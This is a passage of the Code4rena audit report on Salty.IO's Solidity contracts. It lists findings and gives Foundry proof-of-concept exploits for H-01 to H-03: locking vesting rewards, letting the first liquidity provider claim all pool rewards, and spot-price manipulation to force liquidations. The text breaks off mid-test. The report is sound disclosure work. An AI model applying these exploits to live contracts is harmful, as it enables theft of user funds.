Salty.IO
Findings & Analysis Report
2024-04-19
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] Development Team might receive less SALT because there is no access control on
VestingWallet#release()
- [H-02] First Liquidity provider can claim all initial pool rewards
- [H-03] The use of spot price by CoreSaltyFeed can lead to price manipulation and undesired liquidations
- [H-04] First depositor can break staking-rewards accounting
- [H-05] User can evade
liquidation
by depositing the minimum of tokens and gain time to not be liquidated - [H-06] When borrowers repay USDS, it is sent to the wrong address, allowing anyone to burn Protocol Owned Liquidity and build bad debt for USDS
- [H-01] Development Team might receive less SALT because there is no access control on
-
- [M-01] The user who withdraws liquidity from a particular pool is able to claim more rewards than they should by carefully selecting a
decreaseShareAmount
value such that thevirtualRewardsToRemove
is rounded down to zero - [M-02] Persistent Contract Call revert prevents finalizing a ballot
- [M-03] Creation of token whitelisting proposals can be DOS’d
- [M-04] If there is only one USDS borrower, he can never be liquidated
- [M-05] Absence of autonomous mechanism for
selling collateral assets in the external market in exchange for USDS
will cause undercollateralization during market crashes and will cause USDS to depeg - [M-06] Reusing a SALT that has already been used for voting can allow a malicious proposal to pass and compromise the protocol
- [M-07] Impossible to change managed wallets with
proposeWallets
after first rejection - [M-08] PriceFeed is likely to be disabled in times of volatility, causing liquidations and borrows to freeze
- [M-09] Remove Liquidity has missing reserve1 DUST check, which can make reserve1 to be less than DUST
- [M-10] Unwhitelisting does not clear _arbitrageProfits, so re-whitelisting may result in an unfair distribution of liquidity rewards
- [M-11] SALT staker can get extra voting power by simply unstaking their xSALT
- [M-12] DOS of proposals by abusing ballot names without important parameters
- [M-13] Adversary can prevent updating price feed addresses by creating poisonous proposals ending in
_confirm
- [M-14] Ballots not yet past their deadline are incorrectly looped too by tokenWhitelistingBallotWithTheMostVotes()
- [M-15] Attacker can take advantage of Chainlink price not occuring within it’s 60 minute heartbeat to make PriceAggregator calls fail
- [M-16] Suboptimal arbitrage implementation
- [M-17] Caller of Upkeep may skip step 11 to save gas
- [M-18]
_getUniswapTwapWei()
will show incorrect price for negative ticks cause it doesn’t round up for negative ticks - [M-19] No proposal time limit traps sponsors of unpopular proposals
- [M-20] Some rewards from POL will not be send to team wallet nor burned
- [M-21] When forming POL the DAO will end up stucked with DAI and USDS tokens that cannot handle
- [M-22] Minimium Collateral Check Can Be Bypassed
- [M-23] StakingRewards pools are not given their promised share of rewards due to incorrect calculation
- [M-24] Salt Rewards - Rewards related to Arbitrage profits for pools can be lost
- [M-25] Incorrect assumption in PoolMath.sol can cause underflow when zapping is used
- [M-26] formPOL lacks slippage and deadline protection
- [M-27] Attacker Can Inflate LP Position Value To Create a Bad Debt Loan
- [M-28] MinShares Slippage Parameters Are Ineffective For Initial Deposit
- [M-29] Incorrect calculation to check remaining ratio after reward in StableConfig.sol
- [M-30] Chainlink price feed uses BTC, not WBTC. In case of depegging, oracles will become easier to manipulate
- [M-31] changeWallets() can be confirmed immediately after proposalWallets() by manipulating activeTimelock beforehand
- [M-01] The user who withdraws liquidity from a particular pool is able to claim more rewards than they should by carefully selecting a
-
Low Risk and Non-Critical Issues
- Low Severity Findings
- L-01 -
callContract
proposals are created with nodescription
- L-02 -
withdrawArbitrageProfits()
will revert whendepositedWETH <= PoolUtils.DUST
- L-03 -
string1
andstring2
length is not validated when creating proposals - L-04 - It is possible to create proposals that can’t be finalized
- L-05 -
tokenWhitelistingBallotWithTheMostVotes()
returns the ballot id0
when no proposal reaches quorum - L-06 -
websiteURL
should be set in the constructor - L-07 - Votes can’t be delegated
- L-08 - Signatures do not implement EIP-712
- L-09 - DUST value too big for tokens with low decimals
- L-10 - Arbitrage profit is not calculated correctly when there is an index with an
INVALID_POOL_ID
- L-11 - Users from excluded countries, without wallet authorization can call
cancelUnstake()
- Non-Critical Severity Findings
- N-01 -
tokenIconURL
is not used inproposeTokenUnwhitelisting()
- N-02 -
sum
inRewardsEmitter
is not used - N-03 - Replace
==
balance comparison with>=
-
- Table of contents
- Pack
lastUpkeepTimeEmissions
andlastUpkeepTimeRewardsEmitters
together by reducing their size touint128
(Saves 1 SLOT: 2.1K Gas) - Pack the following by reducing their size(Save 3 SLOTS: 6.3K Gas)
- Pack
minUnstakeWeeks,maxUnstakeWeeks,minUnstakePercent
by reducing the sizes(Save 2 SLOTs: 4.2K Gas) - Pack
rewardPercentForCallingLiquidation
withmaxRewardValueForCallingLiquidation
by reducing the size(Save 1 SLOT: 2.1K Gas) - Pack
minimumCollateralValueForBorrowing
withinitialCollateralRatioPercent
(Save 1 SLOT: 2.1K Gas) - Declare immutables for
exchangeConfig.wbtc()
andexchangeConfig.weth()
(Save 2351 Gas on average) - Reference the immutable variable
salt
instead of making the external call again(Save 546 Gas on average) - Use the already defined immutable variable(save 595 Gas on average)
- Use the imutable variable defined in the constructor instead of calling the external function again( Save 110 Gas)
- Define immutable variables for
wbtc
andweth
(Save 253 Gas on average) - Immutable variable already defined(Save 327 Gas on average)
- Expensive operation inside a for loop(Save 640 Gas on average)
- Avoid making unnecessary external calls(Save 4285 Gas on average)
- Refactor the code to avoid unnecessary external calls(Save 1300 Gas on average)
- We should cache the result of a function instead of calling it twice(Save 178 Gas on average )
- Avoid reading state variables due to how the logic is executed(Save 1 SLOAD: 100 Gas)
- Prioritize validating cheap variables first
- Audit Analysis
-
- Introduction
- Overview of Changes
- Mitigation Review Scope
- Additional Mitigation Review Scope
- Mitigation Review Summary
- Missed Arbitrage Profits from Imbalanced Pools
- The WETH arbitrage profits that are not swapped to SALT will be stuck in
Pools
- The SALT distributions of DAO Reserve and Initial Development Team start from the deployment time rather than the exchange activation time
- Adding liquidity with
useZapping = true
allows user to steal funds - Rounding of
user.virtualRewards
happens in user’s favour insideclaimAllRewards()
- Multiple sendSALT proposals can now get approved and together all at once spend more than
5%
of the current SALT balance of the DAO - Partial snapshot means staking after proposal creation gives unfair benefit
manuallyRemoveBallot()
doesn’t check if the ballot can be finalized or has been removed before- Proposal can be removed after 30 days without owner’s consent
- Recommended Mitigation Steps
- Conclusion
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Salty.IO smart contract system written in Solidity. The audit took place between January 16—January 30 2024.
Following the C4 audit, 3 wardens, 0xpiken, t0x1c, and zzebra83 reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.
Wardens
180 Wardens contributed reports to Salty.IO:
- 0xpiken
- t0x1c
- handsomegiraffe
- zzebra83
- 0xRobocop
- Banditx0x
- klau5
- niroh
- oakcobalt
- Bauchibred
- fnanni
- peanuts
- ether_sky
- 0xAsen
- grearlake
- Draiakoo
- Toshii
- J4X
- haxatron
- israeladelaja
- jasonxiale
- 0xCiphky
- 0x3b
- zhaojie
- PENGUN
- 0xMango
- AgileJune
- vnavascues
- 00xSEV
- stackachu
- DedOhWale
- ZanyBonzy
- LinKenji
- OMEN
- Arz
- 0xGreyWolf
- Audinarey
- DanielArmstrong
- Giorgio
- VAD37
- linmiaomiao
- BiasedMerc
- juancito
- lsaudit
- jesjupyter
- 0xVolcano
- miaowu
- Myrault
- deepplus
- KupiaSec
- CongZhang-CertiK
- n1punp
- K42
- dharma09
- 0x11singh99
- 0xAnah
- Jorgect
- falconhoof
- 0xbepresent
- RootKit0xCE
- a3yip6
- inzinko
- 0xBinChook
- b0g0
- Tripathi
- cats
- wangxx2026
- IceBear
- 0xWaitress
- djxploit
- Topmark
- Udsen
- pina
- aman
- 0xHelium
- twcctop
- erosjohn
- Infect3d
- josephdara
- Rhaydden
- Silvermist
- Evo
- Stormreckson
- nonseodion
- KingNFT
- Aymen0909
- pkqs90
- forgebyola
- Kaysoft
- 0xSmartContractSamurai
- ayden
- 7ashraf
- thekmj
- Kalyan-Singh
- Ward (natzuu and 0xpessimist)
- hunter_w3b
- santiellena
- SpicyMeatball
- Lalanda
- eeshenggoh
- 0xanmol
- lanrebayode77
- Krace
- Hajime
- 0xmuxyz
- solmaxis69 (seeques and melihdhs)
- 0xfave
- kinda_very_good
- fouzantanveer
- Sathish9098
- hassanshakeel13
- kaveyjoe
- yongskiws
- foxb868
- 0xepley
- jauvany
- catellatech
- 0xSmartContract
- rspadi
- 0xAlix2 (a_kalout and ali_shehab)
- zhaojohnson
- cu5t0mpeo
- zach
- slvDev
- sivanesh_808
- Rolezn
- dutra
- ReadyPlayer2
- Matue
- piyushshukla
- zhanmingjing
- n0kto
- Beepidibop
- chaduke
- Drynooo
- Ephraim
- LeoGold
- naman1778
- JCK
- unique
- Raihan
- JcFichtner
- Pechenite (Bozho and radev_sw)
- 0xOmer
- The-Seraphs (pxng0lin and solsaver)
- csanuragjain
- codeslide
- eta
- Tigerfrake
- memforvik
- neocrao
- gkrastenov
- lilizhu
- Limbooo
- 0xPluto
- zxriptor
- y4y
- HALITUS
- okolicodes
- parrotAudits0
- agadzhalov
- ewah
- MSaptarshi
- Imp
- rudolph
- KHOROAMU
- c0pp3rscr3w3r
- 0xlemon
- novodelta
- mussucal
- CaeraDenoir
- Auditwolf
- holydevoti0n
- iamandreiski
- developerjordy
This audit was judged by Picodes.
Final report assembled by PaperParachute.
Summary
The C4 analysis yielded an aggregated total of 37 unique vulnerabilities. Of these vulnerabilities, 6 received a risk rating in the category of HIGH severity and 31 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 57 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 20 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Salty.IO repository, and is composed of 35 smart contracts written in the Solidity programming language and includes 3280 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (6)
[H-01] Development Team might receive less SALT because there is no access control on VestingWallet#release()
Submitted by 0xpiken
The Development Team could potentially incur a loss on their SALT distribution reward due to the absence of access control on VestingWallet#release()
.
Proof of Concept
When Salty exchange is actived, 10M SALT will be transferred to teamVestingWallet
by calling InitialDistribution#distributionApproved()
:
62: salt.safeTransfer( address(teamVestingWallet), 10 * MILLION_ETHER );
teamVestingWallet
is responsible for distributing 10M SALT linely over 10 years (Deployment.sol#L100):
teamVestingWallet = new VestingWallet( address(upkeep), uint64(block.timestamp), 60 * 60 * 24 * 365 * 10 );
From the above code we can see that the beneficiary of teamVestingWallet
is Upkeep
.
Each time Upkeep#performUpkeep()
is called, teamVestingWallet
will release a certain amount of SALT to Upkeep
, the beneficiary, and then the relased SALT will be transferred to mainWallet
of managedTeamWallet
:
function step11() public onlySameContract
{
uint256 releaseableAmount = VestingWallet(payable(exchangeConfig.teamVestingWallet())).releasable(address(salt));
// teamVestingWallet actually sends the vested SALT to this contract - which will then need to be sent to the active teamWallet
VestingWallet(payable(exchangeConfig.teamVestingWallet())).release(address(salt));
salt.safeTransfer( exchangeConfig.managedTeamWallet().mainWallet(), releaseableAmount );
}
However, there is no access control on teamVestingWallet.release()
. Any one can call release()
to distribute SALT without informing upkeep
. upkeep
doesn’t know how many SALT has been distributed in advance, it has no way to transfer it to the development team, and the distributed SALT by directly calling teamVestingWallet.release()
will be locked in upkeep
forever.
Copy below codes to DAO.t.sol and run COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url RPC_URL --match-test testTeamRewardIsLockedInUpkeep
function testTeamRewardIsLockedInUpkeep() public {
uint releasableAmount = teamVestingWallet.releasable(address(salt));
uint upKeepBalance = salt.balanceOf(address(upkeep));
uint mainWalletBalance = salt.balanceOf(address(managedTeamWallet.mainWallet()));
//@audit-info a certain amount of SALT is releasable
assertTrue(releasableAmount != 0);
//@audit-info there is no SALT in upkeep
assertEq(upKeepBalance, 0);
//@audit-info there is no SALT in mainWallet
assertEq(mainWalletBalance, 0);
//@audit-info call release() before performUpkeep()
teamVestingWallet.release(address(salt));
upkeep.performUpkeep();
upKeepBalance = salt.balanceOf(address(upkeep));
mainWalletBalance = salt.balanceOf(address(managedTeamWallet.mainWallet()));
//@audit-info all released SALT is locked in upKeep
assertEq(upKeepBalance, releasableAmount);
//@audit-info development team receive nothing
assertEq(mainWalletBalance, 0);
}
Recommended Mitigation Steps
- Since
exchangeConfig.managedTeamWallet
is immutable, it is reasonable to configmanagedTeamWallet
as the beneficiary when deployingteamVestingWallet
:
- teamVestingWallet = new VestingWallet( address(upkeep), uint64(block.timestamp), 60 * 60 * 24 * 365 * 10 );
+ teamVestingWallet = new VestingWallet( address(managedTeamWallet), uint64(block.timestamp), 60 * 60 * 24 * 365 * 10 );
- Introduce a new function in
managedTeamWallet
to transfer all SALT balance tomainWallet
:
function release(address token) external {
uint balance = IERC20(token).balanceOf(address(this));
if (balance != 0) {
IERC20(token).safeTransfer(mainWallet, balance);
}
}
- Call
managedTeamWallet#release()
inUpkeep#performUpkeep()
:
function step11() public onlySameContract
{
- uint256 releaseableAmount = VestingWallet(payable(exchangeConfig.teamVestingWallet())).releasable(address(salt));
- // teamVestingWallet actually sends the vested SALT to this contract - which will then need to be sent to the active teamWallet
VestingWallet(payable(exchangeConfig.teamVestingWallet())).release(address(salt));
- salt.safeTransfer( exchangeConfig.managedTeamWallet().mainWallet(), releaseableAmount );
+ exchangeConfig.managedTeamWallet().release(address(salt));
}
othernet-global (Salty.IO) confirmed and commented:
The ManagedWallet now the recipient of teamVestingWalletRewards to prevent the issue of DOS of the team rewards.
https://github.com/othernet-global/salty-io/commit/534d04a40c9b5821ad4e196095df70c0021d15ab
ManagedWallet has been removed.
https://github.com/othernet-global/salty-io/commit/5766592880737a5e682bb694a3a79e12926d48a5
My initial view on this is that the issue is within
Upkeep
as it integrates poorly with the vesting wallet. It forgets that there is no access control, so I tend to see this as in scope.
The issue is not strictly in the deployment scripts, not strictly in the vesting wallet either because it makes sense to have no access control on
release
, so it must be inUpkeep
.
Note: For full discussion, see here.
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
[H-02] First Liquidity provider can claim all initial pool rewards
Submitted by 0xCiphky, also found by 0xCiphky (1, 2), J4X, Toshii, stackachu, Silvermist, DedOhWale, OMEN, zhaojie, 0x3b (1, 2, 3), ether_sky, Evo, israeladelaja, RootKit0xCE (1, 2), a3yip6, Stormreckson, and twcctop
Liquidity providers can add liquidity to the protocol using the depositCollateralAndIncreaseShare or depositLiquidityAndIncreaseShare functions, both functions call the _increaseUserShare function to stake the users liquidity and account for the positions rewards. The current implementation has an issue, particularly in how it deals with the virtualRewards calculation for the first user. Since there is no current shares in the pool, then the virtualRewards calculation is skipped.
// Increase a user's share for the given whitelisted pool.
function _increaseUserShare(address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown)
internal
{
...
uint256 existingTotalShares = totalShares[poolID];
if (
existingTotalShares != 0 // prevent / 0
) {
// Round up in favor of the protocol.
uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount, existingTotalShares);
user.virtualRewards += uint128(virtualRewardsToAdd);
totalRewards[poolID] += uint128(virtualRewardsToAdd);
}
// Update the deposit balances
user.userShare += uint128(increaseShareAmount);
totalShares[poolID] = existingTotalShares + increaseShareAmount;
...
}
To understand the implications of this, we need to look at how a user’s rewards are calculated. The formula used in the userRewardForPool function is:
- uint256 rewardsShare = (totalRewards[poolID] * user.userShare) / totalShares[poolID];
From this calculated rewardsShare, virtualRewards are then deducted:
- return rewardsShare - user.virtualRewards;
In the case where the first user stakes in an empty pool, they end up having the same number of shares as the totalShares in the pool, but with zero virtualRewards. This means that the first user can claim all the pools rewards in the staking contract, as their share of rewards would not have the necessary deduction of virtualRewards.
// Returns the user's pending rewards for a specified pool.
function userRewardForPool(address wallet, bytes32 poolID) public view returns (uint256) {
...
// Determine the share of the rewards for the user based on their deposited share
uint256 rewardsShare = (totalRewards[poolID] * user.userShare) / totalShares[poolID];
...
return rewardsShare - user.virtualRewards;
}
A potential issue is the lack of Initial Rewards in the Contract. Initially, the staking contract does not contain any rewards, meaning that if a user were to claim rewards immediately, they would receive nothing. To overcome this, the user needs to trigger the upkeep function. This function is responsible for transferring up to the maximum allowable daily rewards to the staking contract.
The upkeep contract employs a timer to regulate the frequency and quantity of rewards distribution. However, since this timer begins counting from the moment of the contract’s deployment (in the constructor), and considering the initial voting period for starting up the exchange spans several days, it becomes feasible to distribute the maximum daily reward amount by invoking upkeep.
Impact
A LP can exploit this vulnerability to claim all the current staking rewards in the contract. Initially, there are 555k SALT bootstrap rewards per pool in the stakingRewardsEmitter, which are emitted at a rate of 1% per day. As a result, the first LP could claim up to 5.5k SALT.
Proof Of Concept
function testFirstLPCanClaimAllRewards() public {
assertEq(salt.balanceOf(alice), 0);
bytes32 poolID1 = PoolUtils._poolID( wbtc, weth );
bytes32[] memory poolIDs = new bytes32[](1);
poolIDs[0] = poolID1;
skip(2 days);
// Total needs to be worth at least $2500
uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();
(uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
vm.startPrank(alice);
// Alice call upkeep
upkeep.performUpkeep();
// check total rewards for pool
uint256[] memory totalRewards = new uint256[](1);
totalRewards = collateralAndLiquidity.totalRewardsForPools(poolIDs);
// Alice will deposit collateral
(uint256 addedAmountWBTC, uint256 addedAmountWETH, uint256 addedLiquidity) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );
// check alices rewards
uint rewardsAlice = collateralAndLiquidity.userRewardForPool(alice, poolIDs[0]);
collateralAndLiquidity.claimAllRewards(poolIDs);
vm.stopPrank();
assertEq(totalRewards[0], rewardsAlice);
assertEq(salt.balanceOf(alice), totalRewards[0]);
}
Tools Used:
Foundry
Recommendation:
The protocol can address this vulnerability in two ways:
- Call the performUpkeep function just before the initial distribution. This resets the timer, ensuring that a very small amount of rewards is sent to the staking contract if called again.
- Change the lastUpkeepTime to the start of when the exchange goes live, instead of in the constructor. This also ensures that only a minimal amount of rewards is sent to the staking contract upon subsequent calls, mitigating the problem.
othernet-global (Salty.IO) confirmed and commented:
performUpkeep is now called at the start of BootstrapBallot.finalizeBallot to reset the emissions timers just before liquidity rewards claiming is started.
https://github.com/othernet-global/salty-io/commit/4f0c9c6a6e3e4234135ab7119a0e380af3e9776c
Status: Mitigation confirmed. Full details in reports from zzebra83, 0xpiken, and t0x1c.
[H-03] The use of spot price by CoreSaltyFeed can lead to price manipulation and undesired liquidations
Submitted by 00xSEV, also found by OMEN, J4X, miaowu, Myrault, Banditx0x, linmiaomiao, CongZhang-CertiK, n1punp, and jesjupyter
When the price moves, Chainlink instantly reports the spot price, while the TWAP slowly changes the price. The spot price of CoreSaltyFeed can be manipulated, allowing an attacker to move the price in a desired direction.
Vulnerability Details
- The spot price of
CoreSaltyFeed
can be manipulated, even when considering automatic arbitrage. The cost of moving the price depends on the liquidity of the pools. While the protocol is small, it will be cheap to manipulate, but even as it grows, the cost won’t become prohibitively expensive. If all the pools have2*1_000
ETH of value each, the attack will cost only ~0.0036 ETH to move a price by 3%, and ~0.0363 ETH to move it by 10%. Refer to the PoCs for the estimated cost of the attack. - Assume the WBTC/USD price moves 3%, from $40,000 to$38,800. Chainlink updates instantly, but the TWAP takes some time. You can see my calculations of the TWAP price change here.
CoreSaltyFeed
WBTC/USDS price will be adjusted to match Chainlink’s price by arbitrageurs.CoreSaltyFeed
returns $38,800, Chainlink returns$38,800, TWAP returns $40,000.- The attacker moves the
CoreSaltyFeed
price ~3%, but less than the difference between TWAP and Chainlink, to $38,000. - As shown in the PoC, it will cost the attacker only 0.0035 ETH if the pools have 1000 ETH of liquidity, but if they have 100 ETH, it will require only ~0.0004 ETH.
- The difference between
CoreSaltyFeed
and Chainlink is $800, and from TWAP and Chainlink it's$1,200. - The average price is set to ($38,000 +$38,800) / 2 = $38,400.
-
Now the attacker can liquidate pools that should not be liquidatable because the price from PriceAggregator is lower than the real price. The attacker can do it first and get the rewards (5%, up to $500 by default). See the relevant code here.
// Reward the caller wbtc.safeTransfer( msg.sender, rewardedWBTC ); weth.safeTransfer( msg.sender, rewardedWETH );
maxRewardValueForCallingLiquidation
is set to $500. Depending on Salty’s pool liquidity, ETH price, and how many positions an attacker can liquidate, profitability will vary. I argue that before the protocol gains traction, liquidity will be low for some time, making the attack profitable.- We should also consider that sometimes it will be profitable for the attacker to move the price slightly and be the first to call
liquidate
in order to receive the rewards. - Other liquidators, who don’t use this attack, will not be able to liquidate, which is unfair.
Note: WBTC and WETH movements of 3% are common and will happen often. For example, about a month ago, there was a 6.5% drop in 20 minutes as reported by Business Insider.
Variations
- If the Chainlink oracle fails to update prices on time (due to block stuffing before the heartbeat or Chainlink DAO turning it off, as described here and here), the attack becomes easier as a 3% price change in the market will not be necessary.
- In the event of a sudden crash in BTC and/or ETH, an attacker could mint undercollateralized USDS. The 200% collateral requirement, set in
StableConfig.initialCollateralRatioPercent
and calculated using the outdated TWAP price along with the manipulatedCoreSaltyFeed
, would be ineffective as protection against this attack when the real price has already dropped below 100%. - During a sudden crash of BTC and/or ETH, the oracle price feed may continue to report the incorrect minimum price. This can again lead to the minting of undercollateralized USDS.
Impact
- Positions that should not be liquidated are liquidated => unexpected liquidation and loss of part of collateral for a borrower (on fees)
- Honest liquidators who don’t move the price won’t be able to liquidate because an attacker will move the price and liquidate in the same transaction
Proof of Concept
Put the code in src/pools/tests/H2.t.sol
, run COVERAGE="yes" forge test -f wss://ethereum-sepolia.publicnode.com -vvv --mc H2
// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;
import "../../dev/Deployment.sol";
import "../PoolUtils.sol";
contract H2 is Deployment
{
TestERC20 immutable tokenA;
TestERC20 immutable tokenB;
address ALICE = address(0x1111);
address BOB = address(0x2222);
constructor()
{
initializeContracts();
grantAccessAlice();
grantAccessBob();
grantAccessCharlie();
grantAccessDeployer();
grantAccessDefault();
finalizeBootstrap();
vm.startPrank(address(daoVestingWallet));
salt.transfer(DEPLOYER, 1000000 ether);
salt.transfer(address(collateralAndLiquidity), 1000000 ether);
vm.stopPrank();
vm.startPrank( DEPLOYER );
tokenA = new TestERC20("TOKENA", 18);
tokenB = new TestERC20("TOKENB", 18);
vm.stopPrank();
_prepareToken(tokenA);
_prepareToken(tokenB);
_prepareToken(weth);
vm.stopPrank();
vm.prank(address(dao));
poolsConfig.whitelistPool( pools, tokenA, tokenB );
vm.stopPrank();
}
// Make the required approvals and transfer to Bob and Alice.
function _prepareToken(IERC20 token) internal {
vm.startPrank( DEPLOYER );
token.approve( address(pools), type(uint256).max );
token.approve( address(collateralAndLiquidity), type(uint256).max );
// For WBTC, we can't use 'ether', so we use 10**8.
uint decimals = TestERC20(address(token)).decimals();
token.transfer(ALICE, 1_000_000 * (10**decimals));
token.transfer(BOB, 1_000_000 * (10**decimals));
vm.startPrank(ALICE);
token.approve( address(pools), type(uint256).max );
token.approve( address(collateralAndLiquidity), type(uint256).max );
vm.startPrank(BOB);
token.approve( address(pools), type(uint256).max );
token.approve( address(collateralAndLiquidity), type(uint256).max );
vm.stopPrank();
}
// Create pools that will participate in arbitrage
// Note: We have all required pools for successful arbitrage, see ArbitrageSearch::_arbitragePath
// swap: swapTokenIn->WETH
// arb: WETH->swapTokenIn->WBTC->WETH
// We have: tokenA/WETH, tokenA/WBTC, WBTC/WETH
function _makeArbitragePossible(uint amountToDeposit) internal {
// based on Pools.t.sol::testDepositDoubleSwapWithdraw
vm.startPrank(DEPLOYER);
wbtc.approve(address(collateralAndLiquidity), type(uint256).max );
weth.approve(address(collateralAndLiquidity), type(uint256).max );
tokenA.approve(address(collateralAndLiquidity), type(uint256).max );
tokenB.approve(address(collateralAndLiquidity), type(uint256).max );
tokenA.approve(address(pools), type(uint256).max );
vm.warp(block.timestamp + stakingConfig.modificationCooldown());
collateralAndLiquidity.depositCollateralAndIncreaseShare(
amountToDeposit * 10**8, amountToDeposit * 1 ether, 0, block.timestamp, false
);
vm.stopPrank();
vm.startPrank(address(dao));
poolsConfig.whitelistPool( pools, tokenA, wbtc);
poolsConfig.whitelistPool( pools, tokenA, weth);
poolsConfig.whitelistPool( pools, tokenB, wbtc);
poolsConfig.whitelistPool( pools, tokenB, weth);
vm.stopPrank();
vm.startPrank(DEPLOYER);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(
tokenA, wbtc, amountToDeposit * 1 ether, amountToDeposit * 10**8, 0,
block.timestamp, false
);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(
tokenB, wbtc, amountToDeposit * 1 ether, amountToDeposit * 10**8, 0,
block.timestamp, false
);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(
tokenA, weth, amountToDeposit * 1 ether, amountToDeposit * 1 ether, 0,
block.timestamp, false
);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(
tokenB, weth, amountToDeposit * 1 ether, amountToDeposit * 1 ether, 0,
block.timestamp, false
);
vm.stopPrank();
}
function _getReservesAndPrice(IERC20 _tokenA, IERC20 _tokenB) internal view returns (
string memory _tokenASymbol, string memory _tokenBSymbol,
uint reserveA, uint reserveB, uint priceBinA
) {
(reserveA, reserveB) = pools.getPoolReserves(_tokenA, _tokenB);
_tokenASymbol = TestERC20(address(_tokenA)).symbol();
_tokenBSymbol = TestERC20(address(_tokenB)).symbol();
uint8 _tokenADecimals = TestERC20(address(_tokenA)).decimals();
uint8 _tokenBDecimals = TestERC20(address(_tokenB)).decimals();
// reserveA / reserveB || b.decimals - a.decimals || normalizer
// 1e8/1e18 || diff 10 || 1e28
// 1e18/1e18 || diff 0 || 1e18
// 1e18/1e8 || diff -10 || 1e8
int8 decimalsDiff = int8(_tokenBDecimals) - int8(_tokenADecimals);
uint normalizerPower = uint8(int8(18) + decimalsDiff);
uint normalizer = 10**normalizerPower;
// price with precision 1e18
priceBinA = reserveB == 0
? 0
: ( reserveA * normalizer ) / reserveB;
}
function _printReservesAndPriceFor(IERC20 _tokenA, IERC20 _tokenB) internal view
{
(
string memory _tokenASymbol,
string memory _tokenBSymbol,
uint reserveA,
uint reserveB,
uint priceBinA
) = _getReservesAndPrice(_tokenA, _tokenB);
console2.log("%s reserves: %e", _tokenASymbol , reserveA);
console2.log("%s reserves: %e", _tokenBSymbol, reserveB);
console2.log("%s price in %s: %e", _tokenBSymbol, _tokenASymbol, priceBinA);
console.log("");
}
// Extracted some local variables to storage due to too many local variables.
struct MovePriceParams {
uint amountToExchange;
uint expectedMovementPercents;
uint expectedLoss;
}
uint gasBefore = 1; // Set to 1 to save gas on updates and obtain more accurate gas estimations.
uint stepsCount;
// Splitting a swap into several steps will significantly reduce slippage.
// More steps will further reduce slippage, thereby decreasing the cost of the attack.
// However, too many steps can incur high gas costs; for instance, 100 steps will cost approximately 3+4=7 million gas (as indicated in the console.log output).
uint constant steps = 100;
function _movePrice(MovePriceParams memory p) internal {
/* Before the attack */
console.log("\n%s", "__BEFORE");
// Check price before
(,,,,uint priceBefore) = _getReservesAndPrice(tokenA, weth);
assertEq(1 ether, priceBefore); // price is 1:1
_printReservesAndPriceFor(tokenA, weth);
uint wethBefore = weth.balanceOf(ALICE);
uint tokenABefore = tokenA.balanceOf(ALICE);
console2.log("weth.balanceOf(ALICE): %e", wethBefore);
console2.log("tokenA.balanceOf(ALICE): %e", tokenABefore);
/* Move the price */
vm.startPrank(ALICE);
gasBefore = gasleft();
for (uint i; i < steps; i++){
pools.depositSwapWithdraw(tokenA, weth, p.amountToExchange/steps, 0, block.timestamp + 300);
}
console.log("Gas first(for) loop: ", gasBefore - gasleft());
/* After the attack */
console.log("\n%s", "__AFTER");
// Console.log the output
_printReservesAndPriceFor(tokenA, weth);
uint wethAfter = weth.balanceOf(ALICE);
uint tokenAAfter = tokenA.balanceOf(ALICE);
console2.log("weth.balanceOf(ALICE): %e", weth.balanceOf(ALICE));
console2.log("tokenA.balanceOf(ALICE): %e", tokenA.balanceOf(ALICE));
uint wethGained = wethAfter - wethBefore;
uint tokenALost = tokenABefore - tokenAAfter;
console2.log("weth.balanceOf(ALICE) diff: %e", wethGained);
console2.log("tokenA.balanceOf(ALICE) diff: %e", tokenALost);
// Note: Since the price of tokenA and WETH are the same at the start, with a 1:1 ratio,
// we can subtract and add them as equivalent values.
uint attackPrice = tokenALost - wethGained;
console2.log("Losses for the attacker (before swapping back): %e", attackPrice);
// Assert that the attack was successful and inexpensive.
(,,,,uint priceAfter) = _getReservesAndPrice(tokenA, weth);
uint priceDiff = priceAfter - priceBefore;
assertTrue(priceDiff >= p.expectedMovementPercents * 1 ether / 100);
/* The attacker can further reduce the cost by exchanging back. */
/* After the exchange, the price is moved back. */
console.log("\n%s", "__AFTER_EXCHANGING_BACK");
(,,,,uint currentPrice) = _getReservesAndPrice(tokenA, weth);
uint step = p.amountToExchange/steps;
gasBefore = gasleft();
while (currentPrice > 1 ether){
pools.depositSwapWithdraw(weth, tokenA, step, 0, block.timestamp);
(,,,,currentPrice) = _getReservesAndPrice(tokenA, weth);
stepsCount++;
}
// Console.log the output
console2.log("Gas second(while) loop: ", gasBefore - gasleft());
console2.log("stepsCount", stepsCount);
_printReservesAndPriceFor(tokenA, weth);
uint wethAfterBalancing = weth.balanceOf(ALICE);
uint tokenAAfterBalancing = tokenA.balanceOf(ALICE);
console2.log("weth.balanceOf(ALICE): %e", weth.balanceOf(ALICE));
